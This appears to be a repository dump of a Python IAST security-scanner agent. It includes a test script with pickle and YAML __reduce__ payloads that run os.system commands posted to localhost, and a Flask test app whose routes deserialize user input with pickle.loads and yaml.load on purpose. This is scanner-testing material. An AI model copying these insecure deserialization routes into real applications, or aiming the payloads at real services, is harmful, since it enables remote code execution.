8 | def __reduce__(self): 9 | return (__import__("os").system, ("echo Hacked > hacked.txt",)) 10 | 11 | class Exploit1(object): 12 | def __reduce__(self): 13 | return (__import__("os").system, ("echo F_YAML > hacked1.txt",)) 14 | 15 | # Сериализация объекта 16 | exploit_object = Exploit() 17 | serialized_exploit = pickle.dumps(exploit_object) 18 | encoded_exploit = base64.b64encode(serialized_exploit).decode('utf-8') 19 | 20 | # Отправка запроса 21 | url = 'http://127.0.0.1:5000/deserialize/1/' 22 | headers = {'Content-Type': 'application/x-www-form-urlencoded'} 23 | payload = {'data': encoded_exploit} 24 | response = requests.post(url, headers=headers, data=payload) 25 | 26 | exploit_object1 = Exploit1() 27 | exploit_yaml = yaml.dump(exploit_object1) 28 | url1 = 'http://127.0.0.1:5000/deserialize/2/' 29 | headers = {'Content-Type': 'application/x-www-form-urlencoded'} 30 | payload = {'data': exploit_yaml} 31 | response1 = requests.post(url1, headers=headers, data=payload) 32 | 33 | # Вывод ответа 34 | print(response1.text) 35 | -------------------------------------------------------------------------------- /pyproject.toml: -------------------------------------------------------------------------------- 1 | [build-system] 2 | build-backend = 'setuptools.build_meta' 3 | requires = [ 4 | 'setuptools', 5 | ] 6 | [project] 7 | name = "immunity_iast" 8 | version = "0.0.0" 9 | authors = [ 10 | { name="l1ghth4t", email="pirogov30002@gmail.com" }, 11 | ] 12 | description = "Python-агент Immunity IAST для интерактивного сканирования веб-приложений." 13 | readme = "Readme.md" 14 | requires-python = ">=3.9" 15 | classifiers = [ 16 | 'Programming Language :: Python :: 3.11', 17 | 'License :: OSI Approved :: MIT License', 18 | 'Operating System :: OS Independent' 19 | ] 20 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | from setuptools import find_packages, setup 2 | 3 | 4 | def readme(): 5 | with open("Readme.md", "r") as f: 6 | return f.read() 7 | 8 | 9 | setup( 10 | name="immunity-python-agent", 11 | version="0.0.0", 12 | author="l1ghth4t", 13 | author_email="pirogov30002@gmail.com", 14 | description="Python-агент Immunity IAST для интерактивного сканирования веб-приложений.", 15 | long_description=readme(), 16 | long_description_content_type="text/markdown", 17 | # url='your_url', 18 | packages=find_packages(), 19 | # install_requires=['requests>=2.25.1'], 20 | classifiers=[ # https://gist.github.com/nazrulworld/3800c84e28dc464b2b30cec8bc1287fc 21 | "Programming Language :: Python :: 3.11", 22 | "License :: OSI Approved :: MIT License", 23 | "Operating System :: OS Independent", 24 | ], 25 | keywords="iast security scanner ", 26 | project_urls={"GitVerse": "https://gitverse.ru/l1ghth4t/immunity-python-agent"}, 27 | python_requires=">=3.9", 28 | ) 29 | -------------------------------------------------------------------------------- /test_flask.py: -------------------------------------------------------------------------------- 1 | import flask 2 | from flask import jsonify, request 3 | import pickle 4 | import yaml 5 | from immunity_agent.middlewares.flask_middleware import ImmunityFlaskMiddleware 6 | 7 | app = flask.Flask(__name__) 8 | app.wsgi_app = ImmunityFlaskMiddleware(app.wsgi_app, app) 9 | 10 | users = [ 11 | {"id": 1, "name": "Иван Иванов", "email": "ivan@example.com"}, 12 | {"id": 2, "name": "Петр Петров", "email": "petr@example.com"}, 13 | ] 14 | 15 | next_id = len(users) + 1 16 | 17 | 18 | @app.route("/users", methods=["GET"]) 19 | def get_users(): 20 | return jsonify(users) 21 | 22 | 23 | @app.route("/users", methods=["POST"]) 24 | def create_user(): 25 | global next_id 26 | data = request.json 27 | new_user = {"id": next_id, "name": data["name"], "email": data["email"]} 28 | users.append(new_user) 29 | next_id += 1 30 | return jsonify(new_user), 201 31 | 32 | 33 | @app.route("/users/", methods=["PUT"]) 34 | def update_user(id): 35 | found_user = None 36 | for user in users: 37 | if user["id"] == id: 38 | found_user = user 39 | break 40 | 41 | if not found_user: 42 | return jsonify({"error": "User not found"}), 404 43 | 44 | data = request.json 45 | found_user.update(data) 46 | return jsonify(found_user) 47 | 48 | 49 | @app.route("/users/", methods=["DELETE"]) 50 | def delete_user(id): 51 | found_index = None 52 | for i, user in enumerate(users): 53 | if user["id"] == id: 54 | found_index = i 55 | break 56 | 57 | if found_index is None: 58 | return jsonify({"error": "User not found"}), 404 59 | 60 | del users[found_index] 61 | return "", 204 62 | 63 | @app.route('/deserialize/1/', methods=['POST']) 64 | def vulnerable_route_1(): 65 | data = request.form['data'].encode() 66 | 67 | # Проверяем длину данных 68 | if len(data) == 0: 69 | return "No data provided." 70 | 71 | # Десериализуем данные с помощью pickle 72 | try: 73 | deserialized_data = pickle.loads(data) 74 | except EOFError: 75 | return "Invalid or incomplete data." 76 | 77 | return f'Deserialized data: {deserialized_data}' 78 | 79 | @app.route('/deserialize/2/', methods=['POST']) 80 | def vulnerable_route_2(): 81 | data = request.form['data'] 82 | # Десериализуем данные с помощью yaml 83 | deserialized_data = yaml.load(data, Loader=yaml.FullLoader) 84 | return f'Deserialized data: {deserialized_data}' 85 | 86 | class VulnerableObject: 87 | def __reduce__(self): 88 | return (eval, ("__import__('os').system('ls')",)) 89 | 90 | @app.route('/deserialize/3/', methods=['POST']) 91 | def vulnerable_route_3(): 92 | data = request.form['data'] 93 | try: 94 | deserialized_data = pickle.loads(data.encode()) 95 | return f'Deserialized object: {deserialized_data}' 96 | except Exception as e: 97 | return f'Error: {e}' 98 | 99 | if __name__ == "__main__": 100 | app.run(debug=True) 101 | --------------------------------------------------------------------------------